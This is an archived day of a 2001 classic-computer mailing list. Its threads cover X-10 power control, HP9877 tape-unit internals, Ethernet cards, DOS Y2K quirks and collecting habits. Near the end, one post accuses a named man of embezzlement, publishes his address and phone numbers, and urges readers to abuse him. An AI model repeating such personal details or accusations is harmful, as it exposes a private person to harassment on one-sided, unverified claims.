p850ug1.demon.co.uk Tue Jun 26 12:45:36 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: Good Samaritan Rule? In-Reply-To: <009f01c0fe02$c1f4a7c0$33b1b2d1@Smith.earthlink.net> from "Wayne M. Smith" at Jun 25, 1 10:42:15 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1543 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/968d9062/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 26 13:15:32 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: Good Samaritan Rule? In-Reply-To: <00cf01c0fe0c$b4c13f00$33b1b2d1@Smith.earthlink.net> from "Wayne M. Smith" at Jun 25, 1 11:53:15 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 8906 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/243260fc/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 26 14:58:26 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: Trip to London, want BBC Micro stuff... In-Reply-To: from "John Honniball" at Jun 26, 1 01:14:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1168 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/2e668494/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 26 15:07:03 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: Good Samaritan Rule? In-Reply-To: <4.3.2.7.0.20010626075036.01e09330@pc> from "John Foust" at Jun 26, 1 07:59:26 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2248 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/70e8587c/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 26 15:26:29 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: A little HP9877 info Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3633 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/7e8a6595/attachment.ksh From jpero at sympatico.ca Tue Jun 26 11:45:28 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:57 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <200106261727.LAA12999@calico.litterbox.com> References: from "Sellam Ismail" at Jun 26, 2001 09:06:01 AM Message-ID: <20010626204200.LIVY2764.tomts14-srv.bellnexxia.net@duron> > From: Jim Strickland > Subject: Re: Looking for info - En-link Ethernet card for the Apple II > To: classiccmp@classiccmp.org > Date: Tue, 26 Jun 2001 11:27:15 -0600 (MDT) > Reply-to: classiccmp@classiccmp.org > Do remember that at the time PC ethernet cards were gruesomely expensive too. > Even in 1990, when I went to grad school, the fact that I got a NIC through > the housing department for *only* $129 was a real bargain. And the housing > department was buying them in bulk and splitting up the packages and selling > at cost, retail was still much more expensive. > > Also remember that in 1984, PCs were struggling to catch up to the A2 > in terms of capability and were perhaps twice the price, and that > 1984 was the year the Macintosh was *born*. It was a different era, > and if you needed ethernet, it probably made sense. Correct, When I bought pair of ethernet TP/coax, chose SMC ISA type and GVC (generic to keep cost down). SMC for dorm 'net and other one for linux back in '96. Cost was about 150 for SMC, generic was around 75. All in canadian dollars. BTW, I know my SMC still works, and generic one is sick. Now, SMC is repackaging generic stuff and sold under their label. Now that one I'm not interested. Who is still selling with real ethernet chipsets like Tulip, etc? Not RealTek or no-name chipsets crap. Cheers, Wizard From zmerch at 30below.com Tue Jun 26 16:31:32 2001 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 19:04:57 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <20010626193529.55094.qmail@web9505.mail.yahoo.com> References: <20010626190433.5529.qmail@web9506.mail.yahoo.com> Message-ID: <3.0.1.32.20010626173132.00b3ab20@mail.30below.com> Rumor has it that Ethan Dicks may have mentioned these words: >Is there ever a time in a car's life >when it is worth 1% and still running? I doubt it, but I'm willing to >entertain exceptions. Yugos. "Merch" -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From edick at idcomm.com Tue Jun 26 16:26:46 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:57 2005 Subject: Good Samaritan Rule? References: <1270.577T400T9654513optimus@canit.se> Message-ID: <006101c0fe88$18fe4be0$9cc762d8@idcomm.com> In general, the choice always comes down to (a) throwing away something that seems useless now, but which you know you'll desperately need tomorrow, or (b) hanging onto so much stuff that (1) your wife leaves you, (2) the local citizenry view you as they do that woman down the road with the 112 cats, or (3) when the locals vinally break into your house to investigate the horrendous smell, they find your remains at the bottom of a huge heap of partially disassembled units, from the middle of which you were trying to extract one part when the pile collapsed on top of you. Dick ----- Original Message ----- From: "Iggy Drougge" To: "Mike Ford" Sent: Tuesday, June 26, 2001 12:00 AM Subject: Re: Good Samaritan Rule? > Mike Ford skrev: > > [snip] > be or what little use it may have. > > -- > En ligne avec Thor 2.6a. > > Age is a high price to pay for maturity. > > From edick at idcomm.com Tue Jun 26 16:35:04 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:57 2005 Subject: X-10 (was Re: controlling power) References: <5.0.2.1.0.20010626140427.02798910@127.0.0.1> Message-ID: <006201c0fe88$191fdda0$9cc762d8@idcomm.com> One function that I've often considered is using a little micro, e.g. PIC, to control an SSR in series with a switch so that the micro could sense the coming and going (with a pair of optical sensors) the direction of travel of a person, and turn the lights on/off for him. This would be of use for me on the basement stairs when I have my hands full, particularly with something heavy. I seriously doubt it would benefit much from central control, but that might be considered. The X-10 is a system for communication via the power mains, isn't it? My notion to date has been that the X-10 stuff is a mite costly, considering that one could hook up a triac, an MOC30-something isolated triac driver, and a PIC, e.g. one of the 14-pin or even 8-pin parts, and put the thing in the box with the switch. It would be an interesting job, actually, though the MCU would be largely wasted. It's smaller than an equivalent set of CMOS logic, though. Dick ----- Original Message ----- From: "Matthew Sell" To: Sent: Tuesday, June 26, 2001 1:09 PM Subject: Re: X-10 (was Re: controlling power) > > I use the heck out of X-10 throughout the house. > > I use it for turning air filters on and off, automatically turning on > lights using motion detectors, and making sure certain outlets and lights > are shut off at night. > > I run all of this (about 30 devices) from two remote controls and a Linux > box controlling a CM-11a interface (Radio Shack branded). > > The Linux box runs about 40 events, ranging from interacting between > multiple devices from the remotes, to cycling devices to save electricity. > The whole setup saves more electricity than it uses (including the computer > running 24/7). > > It's great for turning on/off devices that are difficult to reach as well. > I also use X-10 at parties to operate lighting effects. > > What a blast! > > > - Matt > > > > > At 02:34 PM 6/26/01 -0400, Eric Chomko wrote: > >Mike Ford wrote: > > > > > > hey do you have any ideas about using relays or some thing connected > > > >to a parallel or aerial port to control the power to an outlet, you know > > > >like a dimmer switch controlling motors ETC if you have any thought > > > >or ideas I'd be glad to hear them. > > > > > > X10, why reinvent the wheel? > > > > > > >Does anyone on this list use X-10 in one of their systems? And if so, > >what for? Just curious. > > > >Eric > > > > > > > > > > or > > > > > > Rotten computer sent that before I could add > > > http://www.sophisticated.com/ currently mac oriented, but moving to USB and > > > all platforms. > > > > > > More generic stuff, looks pricey though. > > > http://www.dataprobe.com > > > > > > http://ecatalog.squared.com/catalog/html/sections/04/17204010.htm > > > "One World, One Web, One Program" - Microsoft Promotional Ad > "Ein Volk, Ein Reich, Ein Fuhrer" - Adolf Hitler > > Many thanks for this tagline to a fellow RGVAC'er... > > From paul at orchard.wccnet.org Tue Jun 26 16:58:44 2001 From: paul at orchard.wccnet.org (Paul R. Santa-Maria) Date: Sun Feb 27 19:04:57 2005 Subject: 6502 software update? In-Reply-To: <200106260503.AAA95540@opal.tseinc.com> Message-ID: Has there been any progress on the 6502 Tiny Basic and Focal software? Paul R. Santa-Maria From ard at p850ug1.demon.co.uk Tue Jun 26 16:46:15 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: Good Samaritan Rule? In-Reply-To: <006101c0fe88$18fe4be0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 26, 1 03:26:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 629 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/9fe916a3/attachment.ksh From spectre at stockholm.ptloma.edu Tue Jun 26 17:04:05 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:57 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <3.0.1.32.20010626173132.00b3ab20@mail.30below.com> from Roger Merchberger at "Jun 26, 1 05:31:32 pm" Message-ID: <200106262204.PAA08136@stockholm.ptloma.edu> > >Is there ever a time in a car's life > >when it is worth 1% and still running? I doubt it, but I'm willing to > >entertain exceptions. > > Yugos. That's not an exception because they were never running to start with (and certainly not long enough to be worth 1% of nothing). :-P -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- The Army needs leaders the way a foot needs a big toe. -- Bill Murray ------ From paul at orchard.wccnet.org Tue Jun 26 17:00:46 2001 From: paul at orchard.wccnet.org (Paul R. Santa-Maria) Date: Sun Feb 27 19:04:57 2005 Subject: Micro Cornucopia magazines In-Reply-To: <200106260503.AAA95540@opal.tseinc.com> Message-ID: I have a complete set of Micro Cornucopia magazines. Does anyone here want them? Paul R. Santa-Maria Monroe, Michigan USA From rigdonj at intellistar.net Tue Jun 26 17:00:31 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:57 2005 Subject: A little HP9877 info In-Reply-To: Message-ID: <5.1.0.14.1.20010626175158.00a5a550@mailhost.intellistar.net> At 09:26 PM 6/26/01 +0100, you wrote: >I rmemeber that somebody here was looking for info on the HP9877 >'External Tape Memory' I was one of them. >This is a rackmount box with up to 4 tape >cartridge drives on the front, which can be connected to a 9825 >calculator (and maybe to other machines too). It can be used (I believe) >to copy just about any kind of file between tapes, make distribution >tapes, and so on. Yes, that's what it was used for within HP. One HP engineer that I talked to said that it was used at HP to produce all of the tapes that HP sold. He thought it was used for tapes for machines other than just the 9825 but he wasn't positive. I think that's likely since no other tape duplication device was made at HP AFIK. >Inside the box are 4 main assemblies : > >1) The PSU (transformer + low voltage switching regulator for +5V + >linear regulators for other voltages) > >2) The tape drive(s) (1-4 units can be fitted) Correct. One unit is standard and the others are optional so you can find 9877s with oen, two, three or four tape units installed. >3) The controller board(s). One board per tape drive installed. This >handles motor speed control, and data conversion between a bitstream and >the signal to the read/write electornics. And other misc functions like >end-of-tape detection > >4) An interface board that links to the controller boards and to the 50 >pin Blue Ribbon connector on the back. > >Here's what I've discovered so far : > >Much of the insides came from the 9825. The tape drive and PSU are >straight out of the 9825. The controller board nearly is -- there are a >few very minor changes. In particular, the tape controller is the same to >software as the one in the 9825. There are the same 8 'registers' (4 for >input, 4 for output), with the bits in the same places. I would be >suprised if 9825 and 9877 controller boards can't be interchanged, actually. > >That leaves the interface. Much of the elctronics on that is to provide >the right sequence of signals to clear a couple of status flip-flops on >the controller boards. It's a chain of monostables to provide a serquence >of pulses that first selects all 4 controllers at the same time, and then >accesses a couple of the 'registers' which have the single effect of >clearing said flip-flops. > >The external connector is pretty much what you'd expect. A lot of the >pins aren't used. Of the ones that are, you have : > >8 bidirectional data lines, to talk to the controller registers (==IODn >on the 9825 bus) > >2 register select lines (== ICn on the 9825 bus) > >2 drive select lines > >Assorted control lines (== IOSB, DOUT, DMAR, etc on the 9825 bus) > >Unit Enable (disables access to all controllers when low, so you could, >in theory, have multiple 9877s on the same interface) > >Initialise (clears just about all controller registers) > >The interface is very low level. If you want to read a tape, you set the >tape going and every so often you get a data request from the 9877. You >then read one of the registers. Bit 0 is the data bit just read from the >tape. THe 9877 does not pack the bits into bytes or words. > >I am told this unit links to a 98032 parallel interface. Well, it's >possible, but it would be a bit of a kludge. That doesn't suprise me too >much, as the whole thing is a bit of a kludge (it could have been made a >lot more elegant if the controller board had been slightly redesigned). One place that has a "working" 9877 send me a picture of it. It showed a 98032 interface connected. It was hard to read but it looked like it said "opt 077". >For example, the chain-of-monostables on the interface board could have been >replaced by a clear input to the flip-flops on the controller boards. > >There also appears to be no circuitry to directly copy between tapes >without going via the 9825 host. This has been rumoured about, but my >guess is that copying a tape uses a DMA buffer in the 9025. The 9825 will >do a lot of things 'in the background', so it's quite possible that you >could carry on using the machine for normal calculations while it was >copying a tape, giving the impression that the 9825 wasn't really involved. > >If anyone has the details on how to link this to a 9825 (I guess it's the >Option 077 for the 98032), then I would be interested in finding out more So would I! Joe >-tony From ethan_dicks at yahoo.com Tue Jun 26 17:09:05 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:57 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <3.0.1.32.20010626173132.00b3ab20@mail.30below.com> Message-ID: <20010626220905.60036.qmail@web9502.mail.yahoo.com> --- Roger Merchberger wrote: > Rumor has it that Ethan Dicks may have mentioned these words: > >Is there ever a time in a car's life > >when it is worth 1% and still running? I doubt it, but I'm willing to > >entertain exceptions. > > Yugos. Q. How do you double the value of a Yugo? A. Fill the gas tank. Q. Why do Yugos have rear-window defrosters? A. To keep your hands warm while you are pushing it. Q. What's the most important page of the Yugo owner's manual? A. The page with the train timetables on it. (Substitute "Lada" for "Yugo" for further entertainment) -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From fwhite at pobox.com Tue Jun 26 17:22:54 2001 From: fwhite at pobox.com (Fredric White) Date: Sun Feb 27 19:04:57 2005 Subject: Silent 700 Model 707 Message-ID: <15161.2878.610000.485274@gargle.gargle.HOWL> I picked up a TI Silent 700 model 707 recently (a nice, small variant with built-in modem, see http://pobox.com/~fmw/misc/Silent700.jpg), with hopes of converting to use as a direct line serial terminal. Before I open it up and poke around, does anyone already know how to do this? Portwise, there are two RJ11 ports (phone&wall) and a 6-pin acoustic coupler port of unknown pinout. Thanks Fredric White From vance at ikickass.org Tue Jun 26 17:25:23 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:57 2005 Subject: On Topic: power control In-Reply-To: Message-ID: Reponses inline: On Tue, 26 Jun 2001, Mike Ford wrote: > >I am going to be replacing all the doors in my house with electric pocket > >doors controlled by MEI VME cards in a Sun 4/670. > > And then comes madness. ;) Absolutely 8-) > Are these going to go "whoosh"? Absolutely. I am setting up miniature speakers in the door frames. I am serious. > What sort of cost are you figuring? I figure I can do my whole house for under $1000, figuring as I am going to be doing all of the design and wiring myself. Peace... Sridhar From vance at ikickass.org Tue Jun 26 17:27:57 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:57 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: I love microchannel equipment. 8-) Peace... Sridhar On Tue, 26 Jun 2001, Russ Blakeman wrote: > I feel bad...Only 20 functionals in the house, but I do have over 150 > varying PC's in my storage building, mostly PS/2's.... > > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford > Sent: Tuesday, June 26, 2001 12:58 PM > To: classiccmp@classiccmp.org > Subject: Whats a reasonable collection? > > > >Not everyone in the house needs a PC; I think I'm > >more happy with one PC in a central room where I can > > Hmmm, I was thinking of cutting down to about 50 computers, about half > networked and the other half as curiousities or spares. I have six areas > that each need a working mac and pc, (5) main servers each running > something different (Linux, NT, OS2, AppleShare (one 3.0.4 to boot IIgs > systems, and one running a newer IP version)), fun servers (HP/ux on some > Apollo's, various on older macs and PCs), dedicated systems (scanner, > couple phone things, (2) CDR burners), various old systems running old > software. I want to have as many different kinds of segments on my network > as I can manage, which means running a model 95 OS/2 system to bridge > between 10bt and tokenring on twinax. > > From optimus at canit.se Tue Jun 26 16:48:45 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:57 2005 Subject: More free stuff... In-Reply-To: <200106261421.f5QELnD47628@daemonweed.reanimators.org> Message-ID: <1110.577T2250T13685723optimus@canit.se> Frank McConnell skrev: >Bill Pechter wrote: >> Sounds like a Bay Networks router or ethernet bridge... >> They were bought by Nortel... good luck finding docs. >> Souns like it may be a late 1980's or early 1990's piece... similar >> to Cisco AGS routers. >Furthermore, Bay Networks was formed from a merger/acquisition between >two previously-separate companies: Synoptics and Wellfleet. That >happened in the mid-1990s sometime, maybe 1994 or 1995? I don't >remember. Ah, that's it, the piece I mentioned was by Wellfleet. -- En ligne avec Thor 2.6a. Within several messages, hsc refers to the user as a ``jerk''. This happens if you are using features which are only supported by some special browsers. Some people say they are forced by their employer to use those features, and therefor feel insulted by hsc. As a solution, you can store the amount of your monthly payment in this variable: setenv HSCSALARY 1000 After this, hsc will stop calling you a ``jerk''. Instead, it will now use the term ``prostitute''. -- README for the HTML preprocessor "hsc" From louiss at gate.net Tue Jun 26 17:38:31 2001 From: louiss at gate.net (Louis Schulman) Date: Sun Feb 27 19:04:57 2005 Subject: Good Samaritan Rule? In-Reply-To: Message-ID: <200106262238.SAA29104@granger.mail.mindspring.net> On Tue, 26 Jun 2001 22:46:15 +0100 (BST), Tony Duell wrote: #> hanging onto so much stuff that (1) your wife leaves you, (2) the local # #1) Don't have a wife... # #> citizenry view you as they do that woman down the road with the 112 cats, or (3) # #There's nothing wrong with having 112 cats :-). In any case why should I #care if people think I'm eccentric? I _am_ eccentric. # #-tony Well, I think anyone of us would probably be viewed as eccentric. I have six cats, a room full of old computers (some under construction), and a collection of restored (by me) mercury barometers. I am an attorney, but don't practice, instead I have a small furniture factory. The trick, as others have pointed out, is not going to such an extreme that all connection with rationality is lost. If you were married, however, I guarantee you would be a lot better at throwing things out :-0. I have to add, however, if you haven't heard it enough, that you are a true treasure to this group. The petty arguments that go on here are typical of any close group, please don't take them too seriously. Louis From optimus at canit.se Tue Jun 26 16:33:43 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:57 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: <408.577T2150T13535887optimus@canit.se> Mike Ford skrev: >I want to have as many different kinds of segments on my network >as I can manage, which means running a model 95 OS/2 system to bridge >between 10bt and tokenring on twinax. Is it possible to run TR on twin-ax? I thought it was only run on STP or those big jaw-like IBM connectors. -- En ligne avec Thor 2.6a. Amiga 4000/040 25MHz/44MB/20GB RetinaBLTZ3/VLab/FastlaneZ3/Ariadne/Toccata From ard at p850ug1.demon.co.uk Tue Jun 26 17:39:02 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: A little HP9877 info In-Reply-To: <5.1.0.14.1.20010626175158.00a5a550@mailhost.intellistar.net> from "joe" at Jun 26, 1 06:00:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3013 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/fa95756a/attachment.ksh From mcguire at neurotica.com Tue Jun 26 17:51:37 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:57 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Re: X-10 (was Re: controlling power) (Richard Erlacher) References: <5.0.2.1.0.20010626140427.02798910@127.0.0.1> <006201c0fe88$191fdda0$9cc762d8@idcomm.com> Message-ID: <15161.4601.995134.418372@phaduka.neurotica.com> On June 26, Richard Erlacher wrote: > communication via the power mains, isn't it? My notion to date has been that > the X-10 stuff is a mite costly, considering that one could hook up a triac, an > MOC30-something isolated triac driver, and a PIC, e.g. one of the 14-pin or > even 8-pin parts, and put the thing in the box with the switch. Costly? A 300W dimmer module costs like nine bucks. When I add up the price of the components required to duplicate that, I have trouble figuring out where they're making a profit. They're all PIC-based, by the way...the modern dimmer modules contain 12c508 chips. > It would be an interesting job, actually, though the MCU would be largely > wasted. It's smaller than an equivalent set of CMOS logic, though. Well, the 12c508 is a *tiny* processor with a *tiny* control store... -Dave McGuire From ecloud at bigfoot.com Tue Jun 26 17:53:47 2001 From: ecloud at bigfoot.com (Shawn T. Rutledge) Date: Sun Feb 27 19:04:57 2005 Subject: On Topic: power control In-Reply-To: ; from vance@ikickass.org on Tue, Jun 26, 2001 at 06:25:23PM -0400 References: Message-ID: <20010626155347.J3760@cx47646-a.phnx1.az.home.com> On Tue, Jun 26, 2001 at 06:25:23PM -0400, Vance Dereksen wrote: > On Tue, 26 Jun 2001, Mike Ford wrote: > > Are these going to go "whoosh"? > > Absolutely. I am setting up miniature speakers in the door frames. I am > serious. I'm building an automatic door too. It would be easier to use a screw drive but I thought the "whoosh" would be completely natural if it were driven by an air cylinder instead. The main problem is I need to find electric air valves to control which end of the cylinder gets the air. Any ideas where to look? I plan to use a barn door slide that I had extra to hang the door (rectangular track about 2 x 3 inches cross-section, with wheeled "trucks" that ride in the track from which you hang the door), but it will make some noise too. With a motor screw drive, it might end up sounding more like the "cargo bay" doors. That might be OK, and the air cylinder thing is kindof complicated anyway. I'm not sure how to build one so that you hear only the "whoosh" and no other sliding/rolling noises. Maybe if the door was light enough, it could use an air suspension (blow air through holes in the bottom and sides of the door, against tracks, thus no wheels needed); but mine is heavy steel, well over 100 pounds I think. There's a picture here http://ecloud.org/~ecloud/journal/photos/door.jpg but I've done a bit more cleanup since then. I also want to run a laser beam along the edge of the door and stop it if the beam is broken. (This is also easier to do with a screw drive.) -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From pechter at bg-tc-ppp1165.monmouth.com Tue Jun 26 18:13:35 2001 From: pechter at bg-tc-ppp1165.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:57 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <018001c0fe6f$25ed2f60$8a0101ac@ibm23xhr06> from John Allain at "Jun 26, 2001 02:37:01 pm" Message-ID: <200106262313.f5QNDZZ04503@bg-tc-ppp1165.monmouth.com> > > IBM came out with PC-DOS 7.0 (now renamed PC-DOS 2000). > > They made it y2k compliant and all that. > > What are some of the symptoms of y2K incompliancy? > I have been setting old machines (1994 -> before) to > current dates and have been getting no trouble, at least > as far as I could tell. > > John A. Some of the programs show 100 when listing files created in 2000 (MS Win3.1.x file manager did this until they put the y2k patched one out on their download site. I think the dos shell did the same thing. Not sure if the dir in command.com had the same problem. There are other problems with other programs. IBM has on-line APARS for their stuff which goes into the ones for PCDOS and OS/2. Microsoft's a bit harder to get docs on what each bug does. --Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp1165.monmouth.com Tue Jun 26 18:17:37 2001 From: pechter at bg-tc-ppp1165.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:57 2005 Subject: SMC Ethernet In-Reply-To: <20010626204200.LIVY2764.tomts14-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at "Jun 26, 2001 04:45:28 pm" Message-ID: <200106262317.f5QNHbT04528@bg-tc-ppp1165.monmouth.com> > When I bought pair of ethernet TP/coax, chose SMC ISA type and GVC > (generic to keep cost down). SMC for dorm 'net and other one for > linux back in '96. I'm running most of my boxes on SMC ISA here. > > Cost was about 150 for SMC, generic was around 75. All in canadian > dollars. Yup... you can pick them up for 5 dollars each at flea markets and they're guarranteed for life like the Intel's and 3com's. > BTW, I know my SMC still works, and generic one is sick. > And if it dies they're gonna replace it for free... > Now, SMC is repackaging generic stuff and sold under their label. > Now that one I'm not interested. Who is still selling with real > ethernet chipsets like Tulip, etc? Not RealTek or no-name chipsets > crap. > > Cheers, > > Wizard I'm debating going Ebaying for some DEC or Adaptec tulip based PCI based cards. The LINKSYS and NETGEAR and DLINK stuff work pretty well for more generic cards. I've been less than impressed with 3com stuff. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From ard at p850ug1.demon.co.uk Tue Jun 26 18:19:04 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: Good Samaritan Rule? In-Reply-To: <200106262238.SAA29104@granger.mail.mindspring.net> from "Louis Schulman" at Jun 26, 1 06:38:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2455 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/e63d3721/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 26 18:25:35 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:57 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <15161.4601.995134.418372@phaduka.neurotica.com> from "Dave McGuire" at Jun 26, 1 06:51:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1218 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/51680e43/attachment.ksh From mcguire at neurotica.com Tue Jun 26 18:47:14 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:57 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Re: X-10 (was Re: controlling power) (Tony Duell) References: <15161.4601.995134.418372@phaduka.neurotica.com> Message-ID: <15161.7938.935137.704788@phaduka.neurotica.com> On June 27, Tony Duell wrote: > [1] Wintel, only, alas. Totally useless to me. There are "generic serial" interfaces now...PIC12C508-based, of course, and very tiny, with documented control protocols. The X10 people have bought VERY LARGE CLUES, and I'm very happy about it. > > They're all PIC-based, by the way...the modern dimmer modules contain > > 12c508 chips. > > I am not suprised. I think they used to be based on some kind of ASIC, > but it would make sense for them to use PICs now. I use a very nice commercial C compiler/dev environment for my PIC hacking, the PCW system from CCS. (see http://www.ccsinfo.com/picc.html) This system contains dozens of code snippets that implement practical examples of how to do things with PICs and their compiler. One of the examples is the X10 protocol. Very handy. (I don't work for CCS, I'm just a very happy customer!) -Dave McGuire From healyzh at aracnet.com Tue Jun 26 19:10:33 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:57 2005 Subject: SMC Ethernet In-Reply-To: <200106262317.f5QNHbT04528@bg-tc-ppp1165.monmouth.com> References: <20010626204200.LIVY2764.tomts14-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at "Jun 26, 2001 04:45:28 pm" Message-ID: >I'm debating going Ebaying for some DEC or Adaptec tulip based PCI based >>cards. Good luck on finding actual DE500's, they don't seem to turn up much. >The LINKSYS and NETGEAR and DLINK stuff work pretty well for more >generic cards. I've been less than impressed with 3com stuff. I've mostly used Netgear cards. Of course if you can find an old enough Netgear card, it has the DEC chip on it. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From donm at cts.com Tue Jun 26 19:22:57 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:57 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <3B38D5C6.5208376@greenbelt.com> Message-ID: On Tue, 26 Jun 2001, Eric Chomko wrote: > Mike Ford wrote: > > > > hey do you have any ideas about using relays or some thing connected > > >to a parallel or aerial port to control the power to an outlet, you know > > >like a dimmer switch controlling motors ETC if you have any thought > > >or ideas I'd be glad to hear them. > > > > X10, why reinvent the wheel? > > > > Does anyone on this list use X-10 in one of their systems? And if so, > what for? Just curious. Yes Eric, I also use X-10 to control the lights in my house. It is handled by the small controller that plugs into a wall socket and is programmed by a Radio Shack Color Computer. It has been chuggig along for about 30 years. - don From alm at door.amresearch.com Tue Jun 26 19:22:49 2001 From: alm at door.amresearch.com (Albert Lee Mitchell) Date: Sun Feb 27 19:04:57 2005 Subject: The Computer Journal Message-ID: <3B392759.D12D7337@amresearch.com> No intent to defraud? Could have fooled me! When TCJ was owned by Bill Kibler they processed our credit card transactions, we were only a few miles apart and both Forthies. After Dave Baldwin took over TCJ my cost went up so we discouraged credit card transactions and only took a few overseas or medium-sized. I had/have complete trust and faith in Bill Kibler. He's an honorable man so I didn't follow things as well as I might have otherwise. Before too long Dave Baldwin owed me about two kilobucks and was months behind in reimbursement. Repeated telephone calls elicited, "I'm fine, you'll get your money." It never happened, the miserable piece of shit embezzled a lot of money from us. I doubt if you'll ever see another issue or get a penny back. Here's his local address and telephone numbers if you want to contact him directly: David Baldwin 6619 Westbrook Drive P.O. Box 3900 Citrus Heights, CA 95621 TCJ 722-4970 FAX 722-7480 DIBS 733-3877 BBS 722-5799 Feel free to abuse him and share my going public with his criminal activities. Regrettably the local sheriff tried to resolve things and got a small payment so the DA now refuses to prosecute because that legally turned the theft into a loan. Doesn't pay to be a nice guy, huh? -- Regards, Albert ------------------------------------------------- AM Research, Inc. The Embedded Systems Experts http://www.amresearch.com (800) 949-8051 ------------------------------------------------- From mrbill at mrbill.net Tue Jun 26 19:23:27 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:57 2005 Subject: SMC Ethernet 